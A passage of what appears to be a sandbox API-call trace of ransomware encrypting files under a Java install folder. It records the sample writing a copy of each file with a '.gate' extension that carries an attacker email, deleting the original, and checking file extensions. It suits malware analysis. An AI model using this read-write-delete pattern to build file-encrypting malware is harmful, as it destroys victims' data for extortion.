lpOverlapped=0x0) returned 1 [0293.160] ReadFile (in: hFile=0x530, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.160] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x100, lpOverlapped=0x0) returned 1 [0293.160] SetEndOfFile (hFile=0x52c) returned 1 [0293.160] CloseHandle (hObject=0x52c) returned 1 [0293.161] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.161] SetEndOfFile (hFile=0x530) returned 1 [0293.163] CloseHandle (hObject=0x530) returned 1 [0293.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.163] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1 [0293.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.164] lstrlenW (lpString=".doc") returned 4 [0293.164] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.164] lstrlenW (lpString=".docx") returned 5 [0293.164] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.164] lstrlenW (lpString=".pdf") returned 4 [0293.164] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.164] lstrlenW (lpString=".xls") returned 4 [0293.164] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.164] lstrlenW (lpString=".xlsx") returned 5 [0293.164] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.164] lstrlenW (lpString=".ppt") returned 4 [0293.164] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.164] lstrlenW (lpString=".zip") returned 4 [0293.164] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.164] lstrlenW (lpString=".rar") returned 4 [0293.164] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.164] lstrlenW (lpString=".bz2") returned 4 [0293.164] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.164] lstrlenW (lpString=".7z") returned 3 [0293.164] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.164] lstrlenW (lpString=".dbf") returned 4 [0293.164] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.165] lstrlenW (lpString=".1cd") returned 4 [0293.165] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.165] lstrlenW (lpString=".jpg") returned 4 [0293.165] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.165] lstrlenW (lpString=".doc") returned 4 [0293.165] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.165] lstrlenW (lpString=".docx") returned 5 [0293.165] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.165] lstrlenW (lpString=".pdf") returned 4 [0293.165] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.165] lstrlenW (lpString=".xls") returned 4 [0293.165] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.165] lstrlenW (lpString=".xlsx") returned 5 [0293.166] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.166] lstrlenW (lpString=".ppt") returned 4 [0293.166] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.166] lstrlenW (lpString=".zip") returned 4 [0293.166] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.166] lstrlenW (lpString=".rar") returned 4 [0293.166] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.166] lstrlenW (lpString=".bz2") returned 4 [0293.166] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.166] lstrlenW (lpString=".7z") returned 3 [0293.166] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.166] lstrlenW (lpString=".dbf") returned 4 [0293.166] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.166] lstrlenW (lpString=".1cd") returned 4 [0293.166] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0293.166] lstrlenW (lpString=".jpg") returned 4 [0293.166] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.166] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0293.166] lstrlenW (lpString="messages_pt_BR.properties") returned 25 [0293.166] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0293.167] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3285) returned 1 [0293.167] CloseHandle (hObject=0x530) returned 1 [0293.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0293.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.168] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0293.168] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.168] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.168] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0293.168] GetLastError () returned 0x0 [0293.168] ReadFile (in: hFile=0x530, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xcd5, lpOverlapped=0x0) returned 1 [0293.215] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xce0, lpOverlapped=0x0) returned 1 [0293.216] ReadFile (in: hFile=0x530, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.216] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x106, lpOverlapped=0x0) returned 1 [0293.216] SetEndOfFile (hFile=0x52c) returned 1 [0293.216] CloseHandle (hObject=0x52c) returned 1 [0293.217] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.217] SetEndOfFile (hFile=0x530) returned 1 [0293.219] CloseHandle (hObject=0x530) returned 1 [0293.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.220] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1 [0293.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.220] lstrlenW (lpString=".doc") returned 4 [0293.220] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.220] lstrlenW (lpString=".docx") returned 5 [0293.220] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.220] lstrlenW (lpString=".pdf") returned 4 [0293.220] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.220] lstrlenW (lpString=".xls") returned 4 [0293.220] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.220] lstrlenW (lpString=".xlsx") returned 5 [0293.220] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.221] lstrlenW (lpString=".ppt") returned 4 [0293.221] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.221] lstrlenW (lpString=".zip") returned 4 [0293.221] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.221] lstrlenW (lpString=".rar") returned 4 [0293.221] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.221] lstrlenW (lpString=".bz2") returned 4 [0293.221] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.221] lstrlenW (lpString=".7z") returned 3 [0293.221] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.221] lstrlenW (lpString=".dbf") returned 4 [0293.221] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.221] lstrlenW (lpString=".1cd") returned 4 [0293.221] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.221] lstrlenW (lpString=".jpg") returned 4 [0293.221] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.221] lstrlenW (lpString=".doc") returned 4 [0293.221] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.221] lstrlenW (lpString=".docx") returned 5 [0293.221] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.221] lstrlenW (lpString=".pdf") returned 4 [0293.221] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.221] lstrlenW (lpString=".xls") returned 4 [0293.221] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.221] lstrlenW (lpString=".xlsx") returned 5 [0293.221] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.221] lstrlenW (lpString=".ppt") returned 4 [0293.222] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.222] lstrlenW (lpString=".zip") returned 4 [0293.222] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.222] lstrlenW (lpString=".rar") returned 4 [0293.222] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.222] lstrlenW (lpString=".bz2") returned 4 [0293.222] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.222] lstrlenW (lpString=".7z") returned 3 [0293.222] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.222] lstrlenW (lpString=".dbf") returned 4 [0293.222] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.222] lstrlenW (lpString=".1cd") returned 4 [0293.222] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0293.222] lstrlenW (lpString=".jpg") returned 4 [0293.222] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.222] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0293.222] lstrlenW (lpString="messages_sv.properties") returned 22 [0293.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0293.223] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3409) returned 1 [0293.223] CloseHandle (hObject=0x530) returned 1 [0293.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0293.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.223] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0293.223] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.223] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.223] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0293.224] GetLastError () returned 0x0 [0293.224] ReadFile (in: hFile=0x530, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xd51, lpOverlapped=0x0) returned 1 [0293.288] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xd60, lpOverlapped=0x0) returned 1 [0293.289] ReadFile (in: hFile=0x530, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.289] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x100, lpOverlapped=0x0) returned 1 [0293.289] SetEndOfFile (hFile=0x52c) returned 1 [0293.289] CloseHandle (hObject=0x52c) returned 1 [0293.289] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.289] SetEndOfFile (hFile=0x530) returned 1 [0293.291] CloseHandle (hObject=0x530) returned 1 [0293.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.292] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1 [0293.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.292] lstrlenW (lpString=".doc") returned 4 [0293.292] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.292] lstrlenW (lpString=".docx") returned 5 [0293.292] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.292] lstrlenW (lpString=".pdf") returned 4 [0293.293] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.293] lstrlenW (lpString=".xls") returned 4 [0293.293] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.293] lstrlenW (lpString=".xlsx") returned 5 [0293.293] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.293] lstrlenW (lpString=".ppt") returned 4 [0293.293] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.293] lstrlenW (lpString=".zip") returned 4 [0293.293] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.293] lstrlenW (lpString=".rar") returned 4 [0293.293] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.293] lstrlenW (lpString=".bz2") returned 4 [0293.293] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.293] lstrlenW (lpString=".7z") returned 3 [0293.293] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.293] lstrlenW (lpString=".dbf") returned 4 [0293.293] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.293] lstrlenW (lpString=".1cd") returned 4 [0293.293] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.293] lstrlenW (lpString=".jpg") returned 4 [0293.293] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.293] lstrlenW (lpString=".doc") returned 4 [0293.293] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.293] lstrlenW (lpString=".docx") returned 5 [0293.293] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.293] lstrlenW (lpString=".pdf") returned 4 [0293.293] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.294] lstrlenW (lpString=".xls") returned 4 [0293.294] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.294] lstrlenW (lpString=".xlsx") returned 5 [0293.294] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.294] lstrlenW (lpString=".ppt") returned 4 [0293.294] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.294] lstrlenW (lpString=".zip") returned 4 [0293.294] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.294] lstrlenW (lpString=".rar") returned 4 [0293.294] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.294] lstrlenW (lpString=".bz2") returned 4 [0293.294] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.294] lstrlenW (lpString=".7z") returned 3 [0293.294] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.294] lstrlenW (lpString=".dbf") returned 4 [0293.294] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.294] lstrlenW (lpString=".1cd") returned 4 [0293.294] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0293.294] lstrlenW (lpString=".jpg") returned 4 [0293.294] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.295] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0293.295] lstrlenW (lpString="messages_zh_HK.properties") returned 25 [0293.295] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0293.313] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3752) returned 1 [0293.313] CloseHandle (hObject=0x4b0) returned 1 [0293.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0293.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0293.313] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.313] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0293.319] GetLastError () returned 0x0 [0293.319] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xea8, lpOverlapped=0x0) returned 1 [0293.390] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0293.391] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.391] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x106, lpOverlapped=0x0) returned 1 [0293.391] SetEndOfFile (hFile=0x50c) returned 1 [0293.448] CloseHandle (hObject=0x50c) returned 1 [0293.449] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.449] SetEndOfFile (hFile=0x4b0) returned 1 [0293.484] CloseHandle (hObject=0x4b0) returned 1 [0293.484] SetFileAttributesW (lpFileName="C:\\Program 